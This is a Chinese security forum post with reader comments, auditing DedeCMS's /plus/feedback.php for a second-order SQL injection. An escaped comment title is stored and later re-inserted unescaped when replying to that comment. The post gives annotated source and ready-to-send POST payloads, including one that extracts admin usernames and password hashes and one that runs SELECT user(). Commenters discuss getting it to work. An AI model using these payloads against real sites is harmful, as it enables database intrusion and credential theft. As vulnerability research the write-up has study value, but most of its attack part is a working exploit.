DEDECMS 通杀鸡肋注入一枚
管理员帮忙搬下地方 只能发水区了
by:冰封
ps:转载请带上 请注意版权
看到标题你一定很疑惑 为什么通杀 有鸡肋呢? 接下来看分析吧!
漏洞文件:/plus/feedback.php
//不拦截去数据库里面看看
继续看代码往下走
往下看
附上一张成功 select user() 的图
灵感来自于phpcms v9 短消息回复漏洞 某牛发分析的
by:冰封
ps:转载请带上 请注意版权
看到标题你一定很疑惑 为什么通杀 有鸡肋呢? 接下来看分析吧!
漏洞文件:/plus/feedback.php
if($comtype == 'comments') //问题从这里开始
{
$arctitle = addslashes($title);//$title 是关键 没有初始化 addslashes转义了我们的$title 比如我们传入1' $arctitle=1\'
$typeid = intval($typeid); //这些都是打酱油的
$ischeck = intval($ischeck);//这些都是打酱油的
$feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
if($msg!='') //$msg 如果不为空 继续往下走
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); "; //$arctitle 被带入到 $inquery 这个sql 语句中 我们来看看效果
//不拦截去数据库里面看看
继续看代码往下走
$rs = $dsql->ExecuteNoneQuery($inquery); //ExecuteNoneQuery发送sql 语句
//思考 既然$inquery insert 到数据库后$arctitle 的值没有被转义 我们应该想办法利用啊 继续往下看
if(!$rs) //这些都是打酱油的
{
ShowMsg(' 发表评论错误! ', '-1');
exit();
}
}
}
//引用回复
elseif ($comtype == 'reply') //第二个关键
{
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");//看这sql 语句
//SELECT * FROM `#@__feedback` WHERE id ='$fid' 查询的不就是我们刚刚insert的表么 $fid是get传过来的
往下看
$arctitle = $row['arctitle']; //看到这里你激动了么 直接取数据库里面arctitle 字段的值给$arctitle 看看$arctitle 被带入到哪里了
$aid =$row['aid'];//这些都是打酱油的
$msg = $quotemsg.$msg;//这些都是打酱油的
$msg = HtmlReplace($msg, 2);//这些都是打酱油的
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
//$arctitle 被带入到 $inquery 这里 我们构建下语句 echo $inquery 看看
$dsql->ExecuteNoneQuery($inquery);//这里用ExecuteNoneQuery发送sql 语句 我们看看这个函数吧
/*
* //执行一个不返回结果的SQL语句,如update,delete,insert等
function ExecuteNoneQuery($sql=''){...}
* 不返回结果的 没办发报错 我们只能构建其他的exp了
* 想法1:
* 我们在第一次insert的时候构建$arctitle=1,@`'`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `%23@__admin` limit 0,1)),(1,1,1,'1
* http://localhost/dede/uploads/plus/feedback.php
* post
* action=send&comtype=comments&aid=16&isconfirm=yes&feedbacktype=feedback&face=1&msg=33333¬user=1&validate=gram&typeid=12&title=1,@`'`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `%23@__admin` limit 0,1)),(1,1,1,'1
*
* 然后 在取出的时候 第2条sql 语句应该就变成了:
* INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('16','0','游客 ','1,@`'`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `%23@__admin` limit 0,1)),(1,1,1,'1','127.0.0.1','1','1362649019','0','0','0','feedback','0','')
*
* 我们测试下
*/
/* 本次审计到这里结束了 最后给出的exp是 只能select user() 大牛们可以开拓思维想想 有没别的招
* 第一次post的语句
* http://localhost/dede/uploads/plus/feedback.php
* post
* action=send&comtype=comments&aid=13&isconfirm=yes&feedbacktype=feedback&face=1&msg=22222¬user=1&validate=gram&typeid=12&title=',@`'`,1,1,1,1,1,1,1,(SELECT user())),(1,
* 第2次post的语句 //aid 要和上面的一样 fid 前面有说
* http://localhost/dede/uploads/plus/feedback.php
* action=send&comtype=reply&aid=13&isconfirm=yes&feedbacktype=feedback&validate=upse&fid=9
*/
灵感来自于phpcms v9 短消息回复漏洞 某牛发分析的
评论71次
思路不错。
不错 分析的很好 学xi了
很不错 分析也很到位
给力呢!
思路不错,赞一个...
大牛分析的非常好,期待exp
这个思路很不错。
# 本次审计到这里结束了 最后给出的exp是 只能select user() 大牛们可以开拓思维想想 有没别的招 # * 第一次post的语句 # * http://localhost/dede/uploads/plus/feedback.php # * post # * action=send&comtype=comments&aid=13&isconfirm=yes&feedbacktype=feedback&face=1&msg=22222¬user=1&validate=gram&typeid=12&title=',@`'`,1,1,1,1,1,1,1,(SELECT user())),(1, # * 第2次post的语句 //aid 要和上面的一样 fid 前面有说 # * http://localhost/dede/uploads/plus/feedback.php # * action=send&comtype=reply&aid=13&isconfirm=yes&feedbacktype=feedback&validate=upse&fid=9
为啥我失败了啊. arctitle varchar(60) 1,@`\'`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,version(),0x 总是没有那么多 字符位置呢, 你那咋就成功呢 Safe Alert: Request Error step 2! 我这显示
不错,洞主细心
占楼,关注!
多灾多难的DEDE啊
good job!
必须顶下,,很不错。
这个确实是这样 呵呵 自从上次这个文件出现漏洞后就陆续的很多管理员把这个有关的功能做了限制
测试用# 号截断没有成功 具体的没有详细研究 #不成功的原因
赞一个
确实不错的思路..
思路很好哇,...
关闭的游客/用户回复就无效了 不过了解到一种思路